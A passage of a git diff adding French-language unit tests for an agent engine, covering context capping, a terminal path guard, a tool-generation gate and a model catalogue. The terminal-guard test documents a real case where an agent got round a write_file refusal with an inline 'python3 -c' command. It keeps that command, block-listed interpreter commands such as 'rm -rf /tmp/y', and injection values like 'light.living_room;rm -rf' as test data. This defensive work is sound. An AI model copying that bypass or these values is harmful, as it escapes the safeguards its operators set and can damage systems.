dépendances multiples volumineuses, le plafond global + TOTAL_CONTEXT_MAX_CHARS (40 000 chars) est appliqué et journalise un avertissement. + """ + engine = MockEngine() + runner = DAGRunner(engine) + + # Créer 5 tâches parents générant chacune 12 000 chars (total 60 000 chars) + parent_ids = [] + for i in range(5): + p_id = f"parent_{i}" + parent_ids.append(p_id) + p_agent = MockFailingThenSucceedingAgent(f"agent_{p_id}", fail_count=0) + async def make_invoke(chunk_data): + async def _inv(payload): + return StateUpdate( + agent_name=payload.metadata.get("target_agent"), + status="success", + result_data=chunk_data, + metadata={"task_id": payload.task_id} + ) + return _inv + p_agent.invoke = await make_invoke("B" * 12000) + engine.agents[f"agent_{p_id}"] = p_agent + + parent_payloads = [ + TaskPayload( + task_id=p_id, + task_objective=f"Générer chunk {p_id}", + relevant_context="", + metadata={"stage_id": 1, "target_agent": f"agent_{p_id}"} + ) + for p_id in parent_ids + ] + + child_payload = TaskPayload( + task_id="child_reduce", + task_objective="Réduire 5 dépendances volumineuses", + relevant_context="C" * 5000, + depends_on=parent_ids, + metadata={"stage_id": 2, "target_agent": "child_reduce_agent"} + ) + child_agent = MockFailingThenSucceedingAgent("child_reduce_agent", fail_count=0) + engine.agents["child_reduce_agent"] = child_agent + + with caplog.at_level(logging.WARNING): + tasks = parent_payloads + [child_payload] + await runner.execute_dag(tasks, max_session_tokens=100000) + + final_context_len = child_agent.recorded_context_lengths[0] + print(f"\nTaille finale avec 5 dépendances volumineuses : {final_context_len} chars (Plafond: {TOTAL_CONTEXT_MAX_CHARS})") + + # Le contexte final doit être plafonné (40k + suffixe de message de troncature) + assert final_context_len <= TOTAL_CONTEXT_MAX_CHARS + 200 + assert "Plafond global de contexte dépassé" in caplog.text diff --git a/tests/unit/test_terminal_garde_chemins.py b/tests/unit/test_terminal_garde_chemins.py new file mode 100644 index 0000000..023ecbd --- /dev/null +++ b/tests/unit/test_terminal_garde_chemins.py @@ -0,0 +1,251 @@ +""" +tests/unit/test_terminal_garde_chemins.py — Garde des chemins du terminal (#T275). + +Problème verrouillé, mesuré en production le 11/08 : `write_file` refusait +/tmp/preuve_t267.txt (politique de tools/system.py) mais `run_terminal_command` +n'avait AUCUN contrôle équivalent. L'agent s'auto-corrigeait en : + + python3 -c "with open('/tmp/preuve_t267.txt','w') as f: f.write('PREUVE-T267-OK\n')" + +et le fichier était bien créé (15 octets) hors du workspace. + +Règle posée : la garde (même politique que read_file/write_file) refuse AVANT +exécution les interpréteurs à code inline (`python -c`, `sh -c`, `node -e`…) +et vérifie que les chemins absolus des commandes d'écriture connues (`tee`, +`dd`, `cp`, `mv`, `install`, `truncate`, `rm`) restent dans le workspace. +Kill-switch : `MOTEUR_TERMINAL_GARDE_CHEMINS=0` restaure le comportement +d'avant. + +Les refus sont testés sans exécuter la commande (le refus précède +subprocess.run) : ils passent donc partout, même sans python3/sh/tee installés. +Les autorisations avec exécution réelle sont portables (git, python) ou +skipées si l'exécutable est absent (cat, tee, ls). +""" +import logging +import os +import shutil +import sys +import tempfile + +import pytest + +from tools.system import _WORKSPACE_ROOT +from tools.terminal import _refus_garde_chemins, run_terminal_command + +# Marqueur commun des messages de refus de la garde (cohérent avec system.py) +_MARQUEUR_REFUS = "Erreur de sécurité" + + +def _chemin_dans_workspace(nom: str = "fichier_t275.txt") -> str: + """Chemin absolu garanti dans le bac à sable (source de vérité = system.py).""" + return os.path.join(_WORKSPACE_ROOT, nom) + + +# Chemins POSIX hors du bac à sable, volontairement construits : c'est le +# format /tmp/… que les agents génèrent, y compris sous Windows. noqa S108 : +# le littéral est l'OUTIL de test (une cible hors workspace), pas une fuite. +_TMP = "/tmp" # noqa: S108 + + +def _chemin_hors_workspace(nom: str = "x") -> str: + """Chemin POSIX hors du bac à sable (format généré par les agents en prod).""" + return f"{_TMP}/{nom}" + + +# La commande exacte observée en production le 11/08 : refus de write_file sur +# /tmp/preuve_t267.txt puis contournement via le terminal. +_COMMANDE_PROD = ( + "python3 -c \"with open('" + _chemin_hors_workspace("preuve_t267.txt") + + "','w') as f: f.write('PREUVE-T267-OK\\n')\"" +) + + +# ── Interpréteurs à code inline : refus systématique ──────────────────────── + +@pytest.mark.parametrize("commande", [ + _COMMANDE_PROD, + "python -c \"print('x')\"", + 'sh -c "echo a > ' + _chemin_hors_workspace() + '"', + 'bash -c "echo a > ' + _chemin_hors_workspace() + '"', + "perl -e \"print 'x'\"", + 'ruby -e "puts \'x\'"', + "node -e \"console.log(1)\"", + "node --eval \"console.log(1)\"", +]) +def test_code_inline_refuse(commande): + """Un interpréteur à code inline ne s'exécute JAMAIS : refus avant subprocess.""" + resultat = run_terminal_command(commande) + assert _MARQUEUR_REFUS in resultat + assert "code inline" in resultat + # Le message doit renvoyer l'agent vers l'outil d'écriture du bac à sable. + assert "write_file" in resultat + + +def test_cas_prod_aucun_fichier_cree(): + """Le contournement exact de prod est refusé et n'écrit RIEN sur disque.""" + resultat = run_terminal_command(_COMMANDE_PROD) + assert _MARQUEUR_REFUS in resultat + assert not os.path.exists(_chemin_hors_workspace("preuve_t267.txt")) + + +def test_python_sans_code_inline_autorise(): + """`python -V` (lecture, pas de code inline) reste autorisé : le filtre est + précis, il ne bloque QUE le flag de code inline.""" + resultat = run_terminal_command(f"{sys.executable} -V") + assert _MARQUEUR_REFUS not in resultat + assert "Python" in resultat + + +def test_script_fichier_non_refuse_limite_documentee(): + """Limite assumée, écrite noir sur blanc dans la PR : `python3 script.py` + (script déjà présent sur disque) passe — la garde est une liste noire, pas + un confinement (le vrai serait un conteneur ou un utilisateur dédié).""" + assert _refus_garde_chemins(["python3", "script.py"]) is None + + +# ── Commandes d'écriture : chemins absolus vérifiés ───────────────────────── + +@pytest.mark.parametrize("argv", [ + ["tee", _chemin_hors_workspace()], + ["dd", "if=" + _chemin_hors_workspace("src"), "of=" + _chemin_hors_workspace("dst")], + ["dd", "if=" + _chemin_hors_workspace("etc_hostname"), "of=" + _chemin_dans_workspace("dd_dst.txt")], + ["cp", _chemin_hors_workspace("src"), _chemin_dans_workspace()], + ["cp", _chemin_dans_workspace(), _chemin_hors_workspace("dst")], + ["mv", _chemin_hors_workspace("x"), _chemin_hors_workspace("y")], + ["install", _chemin_hors_workspace("src"), _chemin_dans_workspace()], + ["truncate", "-s", "0", _chemin_hors_workspace()], + ["rm", "-rf", _chemin_hors_workspace()], +]) +def test_ecriture_hors_workspace_refusee(argv): + """Tout chemin absolu hors du workspace (source comme destination) refuse + la commande d'écriture — y compris les formes `option=valeur` de dd.""" + assert _refus_garde_chemins(argv) is not None + + +@pytest.mark.parametrize("argv", [ + ["tee", _chemin_dans_workspace()], + ["cp", _chemin_dans_workspace(), _chemin_dans_workspace("dst.txt")], + ["mv", _chemin_dans_workspace(), _chemin_dans_workspace("dst.txt")], + ["install", _chemin_dans_workspace(), _chemin_dans_workspace("dst.txt")], + ["truncate", "-s", "0", _chemin_dans_workspace()], + ["rm", "-rf", _chemin_dans_workspace()], +]) +def test_ecriture_dans_workspace_autorisee(argv): + """Les écritures dont tous les chemins restent dans le workspace passent.""" + assert _refus_garde_chemins(argv) is None + + +def test_tee_hors_workspace_refuse_avant_execution(): + """`tee /tmp/x` est refusé par run_terminal_command lui-même — pas besoin + que l'exécutable tee existe : le refus précède l'exécution.""" + resultat = run_terminal_command("tee " + _chemin_hors_workspace()) + assert _MARQUEUR_REFUS in resultat + + +def test_tee_fichier_workspace_autorise(): + """`tee` vers un fichier du workspace s'exécute réellement (fichier créé).""" + if shutil.which("tee") is None: + pytest.skip("tee absent sur cette machine (Windows natif)") + fichier = _chemin_dans_workspace("tee_t275.txt") + try: + resultat = run_terminal_command(f"tee {fichier}") + assert _MARQUEUR_REFUS not in resultat + finally: + if os.path.exists(fichier): + os.remove(fichier) + + +# ── Lectures ordinaires : aucun changement de comportement ────────────────── + +def test_git_status_autorise(): + """`git status` passe tel quel : la garde n'interfère pas avec la lecture.""" + resultat = run_terminal_command("git status") + assert _MARQUEUR_REFUS not in resultat + + +def test_ls_la_autorise(): + """`ls -la` : lecture ordinaire, aucun refus.""" + if shutil.which("ls") is None: + pytest.skip("ls absent sur cette machine (Windows natif)") + resultat = run_terminal_command("ls -la") + assert _MARQUEUR_REFUS not in resultat + + +def test_cat_fichier_workspace_autorise(): + """`cat` d'un fichier du workspace : exécuté tel quel, contenu retourné.""" + if shutil.which("cat") is None: + pytest.skip("cat absent sur cette machine (Windows natif)") + fd, chemin = tempfile.mkstemp(suffix=".txt", dir=_WORKSPACE_ROOT) + try: + with os.fdopen(fd, "w", encoding="utf-8") as f: + f.write("CONTENU-LECTURE-T275\n") + resultat = run_terminal_command(f"cat {chemin}") + assert _MARQUEUR_REFUS not in resultat + assert "CONTENU-LECTURE-T275" in resultat + finally: + os.remove(chemin) + + +# ── Kill-switch ───────────────────────────────────────────────────────────── + +def test_kill_switch_desactive_tout_repart(monkeypatch): + """`MOTEUR_TERMINAL_GARDE_CHEMINS=0` restaure le comportement d'avant : + le code inline (même le contournement de prod) s'exécute à nouveau. + + `print(42)` sans guillemets : sous Windows shlex(posix=False) conserve les + guillemets, qui deviendraient une chaîne Python littérale (no-op) — `42` + prouve l'exécution réelle du code de façon portable.""" + monkeypatch.setenv("MOTEUR_TERMINAL_GARDE_CHEMINS", "0") + commande = f"{sys.executable} -c print(42)" + resultat = run_terminal_command(commande) + assert _MARQUEUR_REFUS not in resultat + assert "42" in resultat + + +def test_kill_switch_desactive_ecritures_aussi(monkeypatch): + """La garde entière (interpréteurs ET commandes d'écriture) est coupée.""" + monkeypatch.setenv("MOTEUR_TERMINAL_GARDE_CHEMINS", "0") + resultat = run_terminal_command("tee " + _chemin_hors_workspace()) + assert _MARQUEUR_REFUS not in resultat + + +# ── Journalisation des refus ──────────────────────────────────────────────── + +def test_refus_journalise_warning_commande_tronquee(caplog): + """Chaque refus laisse un warning avec la commande tronquée à 120 caractères.""" + commande = 'sh -c "' + "echo " + "a" * 250 + '"' + with caplog.at_level(logging.WARNING, logger="tools.terminal"): + run_terminal_command(commande) + messages = [m for m in caplog.messages if "garde chemins #T275" in m] + assert messages, "aucun warning de refus journalisé" + fragment = messages[0].split("garde chemins #T275): ", 1)[1] + assert len(fragment) <= 120 + assert "a" * 250 not in messages[0] + + +# ── [#T275] Options avant le flag de code inline ──────────────────────────── +# Ajouté à la relecture : la première version ne testait que `argv[1]`, donc un +# interpréteur appelé avec une option AVANT `-c` passait au travers alors qu'il +# exécute bien du code inline. + +@pytest.mark.parametrize("argv", [ + ["python3", "-X", "utf8", "-c", "open('/tmp/x','w')"], + ["python3", "-B", "-c", "print(1)"], + ["sh", "-e", "-c", "echo a > /tmp/x"], + ["bash", "--norc", "-c", "rm -rf /tmp/y"], + ["node", "--no-warnings", "-e", "require('fs').writeFileSync('/tmp/z','')"], +]) +def test_code_inline_precede_d_options_refuse(argv): + assert _refus_garde_chemins(argv) is not None, f"non refusé : {argv}" + + +@pytest.mark.parametrize("argv", [ + # `-c` APRÈS le script : c'est un argument du script, pas de l'interpréteur. + ["bash", "script.sh", "-c"], + ["python3", "outil.py", "-c", "valeur"], + # Options sans code inline. + ["python3", "-V"], + ["node", "--version"], +]) +def test_flag_apres_le_script_ou_sans_code_inline_autorise(argv): + assert _refus_garde_chemins(argv) is None, f"refusé à tort : {argv}" diff --git a/tests/unit/test_toolmaker_testgen.py b/tests/unit/test_toolmaker_testgen.py new file mode 100644 index 0000000..1bae49d --- /dev/null +++ b/tests/unit/test_toolmaker_testgen.py @@ -0,0 +1,292 @@ +""" +tests/unit/test_toolmaker_testgen.py — Test minimal des outils auto-générés (#T190). + +Vérifie le cycle complet « tout outil généré est testé avant d'être enregistré » : +- la déduction des arguments d'appel depuis la signature (**kwargs) ; +- le contenu du test généré (import du module + appel + retour ni None ni exception) ; +- que le test généré s'exécute réellement et distingue un outil valide d'un + outil qui lève à l'import ou qui retourne None ; +- le gate d'enregistrement : test échoué → outil JAMAIS persisté, raison + journalisée ; test réussi → outil + test + plugin.json persistés ensemble. + +Note sécurité : les exécutions locales du test généré (runpy) portent sur des +outils construits par le TEMPLATE du moteur avec une execution_logic littérale +contrôlée — pas sur du code LLM non maîtrisé (interdit par #T207). Le vrai +runner GitHub Actions reste le seul exécuteur des candidats LLM. +""" + +import asyncio +import os +import runpy + +from agents.tool_maker_agent import ToolMakerAgent +from core.state import TaskPayload + +# ───────────────────────────────────────────────────────────── +# Déduction des arguments d'appel depuis la signature +# ───────────────────────────────────────────────────────────── + +def _build_agent_code(execution_logic: str, tool_name="test_gen_args", class_name="TestGenArgs"): + """Construit le code d'un outil template avec une logique contrôlée. + + Le TOOL_TEMPLATE indente la PREMIÈRE ligne de la logique de 12 espaces ; + les lignes suivantes doivent porter leur propre indentation (12 espaces), + comme un LLM correctement éduqué les produit. + """ + agent = ToolMakerAgent() + lines = execution_logic.strip("\n").split("\n") + indented = "\n".join( + line if i == 0 else (f" {line}" if line.strip() else line) + for i, line in enumerate(lines) + ) + "\n" + spec = { + "tool_name": tool_name, + "class_name": class_name, + "description": "Outil de test unitaire", + "execution_logic": indented, + } + return agent._build_tool_code(spec, ["tool_a", "tool_b"]) + + +def test_deduce_args_kwargs_get(): + """Les clés lues via kwargs.get() deviennent des arguments de test.""" + agent = ToolMakerAgent() + code = _build_agent_code( + "param = kwargs.get('param', 'defaut')\n" + "results.append(f'ok {param}')\n" + ) + assert agent._deduce_execute_args(code) == {"param": "test_value"} + + +def test_deduce_args_kwargs_subscript(): + """Les clés lues via kwargs['cle'] sont aussi déduites.""" + agent = ToolMakerAgent() + code = _build_agent_code("results.append(kwargs['value'])\n") + assert agent._deduce_execute_args(code) == {"value": "test_value"} + + +def test_deduce_args_dedoublonne_et_ignore_autres_gets(): + """Dédoublonnage des clés ; kwargs.get sur autre chose que kwargs ignoré.""" + agent = ToolMakerAgent() + code = _build_agent_code( + "a = kwargs.get('a', 1)\n" + "b = kwargs.get('a', 2)\n" + "c = {'x': 1}.get('x')\n" + "results.append(f'{a}{b}{c}')\n" + ) + assert agent._deduce_execute_args(code) == {"a": "test_value"} + + +def test_deduce_args_vide_sans_lecture_kwargs(): + """Sans lecture de kwargs : appel sans argument (valide pour **kwargs).""" + agent = ToolMakerAgent() + code = _build_agent_code("results.append('rien')\n") + assert agent._deduce_execute_args(code) == {} + + +def test_deduce_args_code_invalide_vide(): + """Code syntaxiquement invalide : déduction vide, pas d'exception.""" + agent = ToolMakerAgent() + assert agent._deduce_execute_args("def broken(\n") == {} + + +# ───────────────────────────────────────────────────────────── +# Contenu du test généré +# ───────────────────────────────────────────────────────────── + +def test_build_tool_test_contenu(): + """Le test généré importe le module, appelle execute() avec les arguments + déduits et vérifie que le retour n'est ni None ni une exception.""" + agent = ToolMakerAgent() + code = _build_agent_code( + "param = kwargs.get('param', 'defaut')\nresults.append(f'ok {param}')\n", + tool_name="test_gen_contenu", + class_name="TestGenContenu", + ) + test_code = agent._build_tool_test(code, "test_gen_contenu", "TestGenContenu") + + # Le test généré est du Python valide + import ast + ast.parse(test_code) + + assert "from test_gen_contenu import TestGenContenu" in test_code + assert "asyncio.run(tool.execute(param='test_value'))" in test_code + assert "assert result is not None" in test_code + assert "SANDBOX_OK" in test_code + assert "SANDBOX_FAIL" in test_code + assert "ne pas modifier manuellement" in test_code + + +# ───────────────────────────────────────────────────────────── +# Exécution réelle du test généré (code template maîtrisé) +# ───────────────────────────────────────────────────────────── + +def _run_generated_test(tmp_path, tool_name, class_name, tool_code): + """Écrit l'outil + son test généré sur disque et exécute le test (runpy). + + Returns: + (stdout, exc) — exc est l'exception SystemExit si le test a échoué. + """ + tool_dir = tmp_path / tool_name + tool_dir.mkdir() + (tool_dir / f"{tool_name}.py").write_text(tool_code, encoding="utf-8") + + agent = ToolMakerAgent() + test_code = agent._build_tool_test(tool_code, tool_name, class_name) + test_path = tool_dir / f"test_{tool_name}.py" + test_path.write_text(test_code, encoding="utf-8") + + exc = None + try: + runpy.run_path(str(test_path), run_name="__main__") + except SystemExit as e: + exc = e + return test_path, exc + + +def test_test_genere_passe_sur_outil_valide(tmp_path, capsys): + """Outil valide : le test généré s'exécute et imprime SANDBOX_OK.""" + code = _build_agent_code( + "param = kwargs.get('param', 'defaut')\n" + "results.append(f'ok {param}')\n", + tool_name="test_gen_ok", + class_name="TestGenOk", + ) + _test_path, exc = _run_generated_test( + tmp_path, "test_gen_ok", "TestGenOk", code + ) + assert exc is None + assert "SANDBOX_OK" in capsys.readouterr().out + + +def test_test_genere_echoue_sur_import_casse(tmp_path, capsys): + """Outil qui lève à l'import (syntaxe invalide) : SANDBOX_FAIL + code 1.""" + _test_path, exc = _run_generated_test( + tmp_path, "test_gen_badimport", "TestGenBadimport", "def broken(\n" + ) + assert exc is not None and exc.code == 1 + assert "SANDBOX_FAIL" in capsys.readouterr().out + + +def test_test_genere_echoue_sur_retour_none(tmp_path, capsys): + """Outil dont execute() retourne None : le test échoue (ni None ni exception).""" + code = _build_agent_code( + "return None\n", # court-circuite le return du template + tool_name="test_gen_none", + class_name="TestGenNone", + ) + _test_path, exc = _run_generated_test( + tmp_path, "test_gen_none", "TestGenNone", code + ) + assert exc is not None and exc.code == 1 + assert "SANDBOX_FAIL" in capsys.readouterr().out + + +# ───────────────────────────────────────────────────────────── +# Gate d'enregistrement : un outil dont le test échoue n'est pas enregistré +# ───────────────────────────────────────────────────────────── + +class _FakeRemoteRunner: + """Faux runner GitHub Actions : capture les fichiers poussés et rend le + verdict demandé (pas de réseau — le conftest unit bloque le réseau).""" + + def __init__(self, passed: bool, error: str | None = None): + self.passed = passed + self.error = error + self.pushed_files = {} + + async def __call__(self, files, **kwargs): + self.pushed_files = dict(files) + if not self.passed: + return {"passed": False, "error": self.error, "run_url": None} + tool_rel = [k for k in files if not k.startswith("test_")][0] + test_rel = f"test_{tool_rel}" + return { + "passed": True, + "error": None, + "run_url": "https://example.invalid/run/1", + "tool_name": tool_rel[:-3], + "class_name": "X", + "code": files[tool_rel], + "test_code": files[test_rel], + } + + +def _invoke_with(tmp_path, runner, monkeypatch): + """Invocation complète du ToolMakerAgent avec le runner injecté.""" + import agents.tool_maker_agent as tm_mod + + monkeypatch.setenv("MOTEUR_ENABLE_TOOL_MAKER", "1") + tmp_dir = str(tmp_path / "auto") + monkeypatch.setattr(tm_mod, "AUTO_TOOLS_DIR", tmp_dir) + monkeypatch.setattr("core.toolmaker_sandbox.validate_candidate_remote", runner) + + agent = tm_mod.ToolMakerAgent(llm_gateway=None) + payload = TaskPayload( + task_objective="Générer un outil", + metadata={ + "skill_pattern": "lire et modifier yaml", + "tools_sequence": ["read_file", "write_file"], + "objective": "Modifier un fichier YAML", + }, + ) + return asyncio.run(agent.invoke(payload)), tmp_dir + + +def test_invoke_accepte_et_persiste_avec_test(tmp_path, monkeypatch): + """Outil valide : test généré + exécuté (verdict runner), outil enregistré, + et le test persisté est exactement celui exécuté.""" + runner = _FakeRemoteRunner(passed=True) + result, tmp_dir = _invoke_with(tmp_path, runner, monkeypatch) + + assert result.status == "success" + assert result.metadata["test_passed"] is True + assert result.metadata["persisted"] is True + assert os.path.basename(result.metadata["test_path"]).startswith("test_") + + # Le candidat poussé au runner contient outil + test + assert len(runner.pushed_files) == 2 + tool_rel = [k for k in runner.pushed_files if not k.startswith("test_")][0] + assert runner.pushed_files[f"test_{tool_rel}"] != "" + + # Le test persisté est celui exécuté par le runner + saved_test = os.path.join( + os.path.dirname(result.metadata["tool_path"]), f"test_{tool_rel}" + ) + with open(saved_test, encoding="utf-8") as f: + assert f.read() == runner.pushed_files[f"test_{tool_rel}"] + + # Outil + test + plugin.json sont bien les 3 fichiers du dossier + files = sorted(os.listdir(os.path.dirname(result.metadata["tool_path"]))) + assert files == sorted([tool_rel, f"test_{tool_rel}", "plugin.json"]) + + +def test_invoke_rejette_import_echoue_non_enregistre(tmp_path, monkeypatch, caplog): + """Outil qui lève à l'import : verdict runner rouge → jamais enregistré, + raison journalisée.""" + runner = _FakeRemoteRunner(passed=False, error="SANDBOX_FAIL: import cassé") + result, tmp_dir = _invoke_with(tmp_path, runner, monkeypatch) + + assert result.status == "error" + assert result.metadata["sandbox_passed"] is False + assert result.metadata["test_passed"] is False + assert result.metadata["persisted"] is False + assert "import cassé" in result.error_message + # Rien sur disque + assert not os.path.exists(tmp_dir) or os.listdir(tmp_dir) == [] + # Verdict journalisé (accepté / rejeté + raison) + assert "rejeté" in caplog.text + assert "import cassé" in caplog.text + + +def test_invoke_rejette_appel_echoue_non_enregistre(tmp_path, monkeypatch, caplog): + """Outil dont l'appel échoue (retour None) : verdict runner rouge → jamais + enregistré, raison journalisée.""" + runner = _FakeRemoteRunner(passed=False, error="SANDBOX_FAIL: execute() a retourné None") + result, tmp_dir = _invoke_with(tmp_path, runner, monkeypatch) + + assert result.status == "error" + assert result.metadata["persisted"] is False + assert "retourné None" in result.error_message + assert not os.path.exists(tmp_dir) or os.listdir(tmp_dir) == [] + assert "rejeté" in caplog.text diff --git a/tests/unit/test_upsert_model_non_destructif.py b/tests/unit/test_upsert_model_non_destructif.py new file mode 100644 index 0000000..989fd24 --- /dev/null +++ b/tests/unit/test_upsert_model_non_destructif.py @@ -0,0 +1,157 @@ +""" +test_upsert_model_non_destructif.py — `upsert_model` ne détruit plus (#T254). + +Le catalogue est enrichi par plusieurs sources qui ne connaissent pas les mêmes +colonnes : le seed (25), les descripteurs de plugins providers (16, #T231), +l'IHM, le ping. Tant que l'écriture était un `INSERT OR REPLACE` portant toutes +les colonnes, la source la plus pauvre effaçait le travail des autres — et +l'enregistrement des plugins rejouant à chaque démarrage, la perte était +silencieuse et permanente (mesurée en prod le 10/08 : `cost_cached_per_m` sur +0 modèle des 106, tous les modèles EUR repassés en USD, `supports_search_grounding` +à 0 partout). + +Ces tests fixent le contrat : à la création on applique les défauts, à la mise +à jour on n'écrit QUE ce qui est fourni. +""" + +import os +import sqlite3 +import sys +import threading + +import pytest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +import core.models_db as models_db + + +@pytest.fixture +def base(tmp_path, monkeypatch): + """Catalogue neuf et isolé (jamais la base du poste).""" + chemin = str(tmp_path / "models_registry.db") + monkeypatch.setattr(models_db, "_DB_PATH", chemin) + # La connexion est mémorisée dans un thread-local : sans le remettre à neuf, + # les tests suivants écriraient dans la base temporaire du PREMIER test tout + # en lisant la leur (piège rencontré en écrivant ces tests). + monkeypatch.setattr(models_db, "_thread_local", threading.local()) + conn = sqlite3.connect(chemin) + models_db._ensure_schema(conn) + # `models.provider_id` référence `providers(id)` et la contrainte est active : + # sans provider, tout upsert échouerait sur la clé étrangère. + for provider in ("p", "p1", "gemini_paid"): + conn.execute( + "insert into providers (id, name, type) values (?, ?, 'api')", + (provider, provider), + ) + conn.commit() + conn.close() + return chemin + + +def _lire(chemin, model_id): + conn = sqlite3.connect(chemin) + conn.row_factory = sqlite3.Row + ligne = conn.execute("select * from models where id = ?", (model_id,)).fetchone() + conn.close() + return dict(ligne) if ligne else None + + +class TestCreation: + def test_defauts_a_la_creation(self, base): + assert models_db.upsert_model("m1", provider_id="p1") is True + + ligne = _lire(base, "m1") + assert ligne["provider_id"] == "p1" + assert ligne["display_name"] == "m1" # défaut = l'id + assert ligne["status"] == "active" # défaut SQL + assert ligne["tier"] == "free" + assert ligne["currency"] == "USD" + + def test_valeurs_completes_conservees(self, base): + models_db.upsert_model( + "m2", provider_id="gemini_paid", display_name="Gemini payant", + cost_input_per_m=1.28, cost_cached_per_m=0.128, currency="EUR", + supports_search_grounding=1, supports_thinking=1, ttft_ms=622, + throughput_tps=100.0, last_tested="2026-05-26", + ) + + ligne = _lire(base, "m2") + assert ligne["currency"] == "EUR" + assert ligne["cost_cached_per_m"] == 0.128 + assert ligne["supports_search_grounding"] == 1 + assert ligne["ttft_ms"] == 622 + + +class TestMiseAJourNonDestructive: + """Le cœur de #T254 : une source pauvre n'efface plus une source riche.""" + + def test_les_colonnes_absentes_survivent(self, base): + # Le seed pose un modèle complet… + models_db.upsert_model( + "gemini-3.5-flash-paid", provider_id="gemini_paid", + cost_input_per_m=1.282575, cost_cached_per_m=0.128257, currency="EUR", + supports_search_grounding=1, supports_thinking=1, + ttft_ms=622, throughput_tps=100.0, last_tested="2026-05-26", + ) + # …puis un descripteur de plugin, qui ne connaît que 16 colonnes. + models_db.upsert_model( + "gemini-3.5-flash-paid", provider_id="gemini_paid", + display_name="Gemini 3.5 Flash (GCP)", tier="paid", routing_tier="moyen", + cost_input_per_m=1.282575, cost_output_per_m=7.69545, + supports_tools=1, supports_json_mode=1, supports_streaming=1, + ) + + ligne = _lire(base, "gemini-3.5-flash-paid") + assert ligne["cost_cached_per_m"] == 0.128257, "remise cache effacée" + assert ligne["currency"] == "EUR", "devise repassée en USD" + assert ligne["supports_search_grounding"] == 1, "capacité grounding perdue" + assert ligne["supports_thinking"] == 1 + assert ligne["ttft_ms"] == 622 + assert ligne["last_tested"] == "2026-05-26" + # …et ce que le plugin apporte est bien appliqué + assert ligne["display_name"] == "Gemini 3.5 Flash (GCP)" + assert ligne["routing_tier"] == "moyen" + assert ligne["supports_tools"] == 1 + + def test_idempotence_sur_plusieurs_demarrages(self, base): + models_db.upsert_model("m3", provider_id="p", cost_cached_per_m=0.003, currency="EUR") + for _ in range(5): # 5 démarrages du moteur + models_db.upsert_model("m3", provider_id="p", tier="paid", supports_tools=1) + + ligne = _lire(base, "m3") + assert ligne["cost_cached_per_m"] == 0.003 + assert ligne["currency"] == "EUR" + + def test_desactivation_manuelle_non_ecrasee(self, base): + """Un modèle désactivé depuis l'IHM (#T243) doit le rester au redémarrage.""" + models_db.upsert_model("m4", provider_id="p") + models_db.set_model_status("m4", "inactive") + + models_db.upsert_model("m4", provider_id="p", tier="paid") # ré-enregistrement plugin + + assert _lire(base, "m4")["status"] == "inactive" + + def test_statut_explicite_toujours_applique(self, base): + models_db.upsert_model("m5", provider_id="p") + models_db.set_model_status("m5", "inactive") + + models_db.upsert_model("m5", provider_id="p", status="active") + + assert _lire(base, "m5")["status"] == "active" + + def test_colonne_inconnue_ignoree_et_journalisee(self, base, caplog): + assert models_db.upsert_model("m6", provider_id="p", colonne_qui_nexiste_pas=1) is True + assert _lire(base, "m6") is not None + assert "colonne_qui_nexiste_pas" in caplog.text + + +class TestDescripteurDePlugin: + """Le descripteur ne doit plus réactiver ce que l'utilisateur a désactivé.""" + + def test_en_colonnes_ne_porte_pas_de_statut(self): + from core.llm.provider_plugin import ModelSpec + + colonnes = ModelSpec(id="x").en_colonnes("p") + assert "status" not in colonnes, "le descripteur force encore le statut" + assert colonnes["provider_id"] == "p" diff --git a/tests/unit/test_validation.py b/tests/unit/test_validation.py index 379737b..57edd49 100644 --- a/tests/unit/test_validation.py +++ b/tests/unit/test_validation.py @@ -1,15 +1,14 @@ -# -*- coding: utf-8 -*- """Tests des validateurs d'entrées externes (P0-1.6, core/validation.py).""" import pytest from core.validation import ( - is_valid_ha_entity_id, + is_valid_class_name, + is_valid_gsheet_id, is_valid_ha_domain, + is_valid_ha_entity_id, is_valid_ha_service_name, - is_valid_gsheet_id, is_valid_tool_name, - is_valid_class_name, validate_service_data, ) @@ -74,7 +73,7 @@ def test_validate_service_data_jinja_ssti_nested_lists(): @pytest.mark.parametrize("value", [ - "light.salon", "light.salon_principal", "binary_sensor.porte_1", + "light.living_room", "light.living_room_principal", "binary_sensor.porte_1", "climate.chambre", "switch.prise_bureau", ]) def test_valid_entity_ids(value): @@ -82,9 +81,9 @@ def test_valid_entity_ids(value): @pytest.mark.parametrize("value", [ - "", "light", "light.", ".salon", "light.salon/../x", - "light.salon;rm -rf", "Light.Salon", "light salon", - "../../secret", "light.salon\n", + "", "light", "light.", ".salon", "light.living_room/../x", + "light.living_room;rm -rf", "Light.Salon", "light salon", + "../../secret", "light.living_room\n", ]) def test_invalid_entity_ids(value): assert not is_valid_ha_entity_id(value) diff --git a/tests/unit/test_vocal_execute.py b/tests/unit/test_vocal_execute.py index 4dc857e..3acd3a0 100644 --- a/tests/unit/test_vocal_execute.py +++ b/tests/unit/test_vocal_execute.py @@ -133,14 +133,14 @@ async def test_ha_shortcut_executes_and_returns_command(temp_runtime_db, monkeyp async def _match(_prompt): return HACommandMatch( - service="script.tab5_volet_action", + service="script.blind_action", entity_id="", matched_phrase="volet:close", service_data={"action": "close"}, ) async def _exec(service, entity, service_data=None, **_kw): - assert service == "script.tab5_volet_action" + assert service == "script.blind_action" assert service_data == {"action": "close"} return True, "Volet fermé." @@ -174,7 +174,7 @@ def __init__(self): async def _match(_prompt): return HACommandMatch( - service="light.turn_on", entity_id="light.salon", + service="light.turn_on", entity_id="light.living_room", matched_phrase="allume le salon", service_data=None, ) diff --git a/tests/unit/test_vocal_host.py b/tests/unit/test_vocal_host.py index 89262e8..ce1262e 100644 --- a/tests/unit/test_vocal_host.py +++ b/tests/unit/test_vocal_host.py @@ -20,6 +20,12 @@ def test_classify_web_meteo(): assert score > 0 +def test_classify_web_dernier_modele(): + intent, score = classify_vocal_intent("Quel est le dernier modèle sorti de Gemini ?") + assert intent == VocalIntent.WEB + assert score > 0 + + def test_classify_calendar(): intent, _ = classify_vocal_intent("Qu'est-ce que j'ai au calendrier demain matin ?") assert intent == VocalIntent.CALENDAR diff --git a/tests/unit/test_vocal_stt_normalize.py b/tests/unit/test_vocal_stt_normalize.py index 376ddca..6aa021e 100644 --- a/tests/unit/test_vocal_stt_normalize.py +++ b/tests/unit/test_vocal_stt_normalize.py @@ -13,7 +13,7 @@ def test_stt_et_tel_salon(): assert "salon" in norm m = match_ha_room_keywords("et tel les lumières du salon") assert m is not None - assert m.entity_id == "light.salon" + assert m.entity_id == "light.living_room" assert m.service == 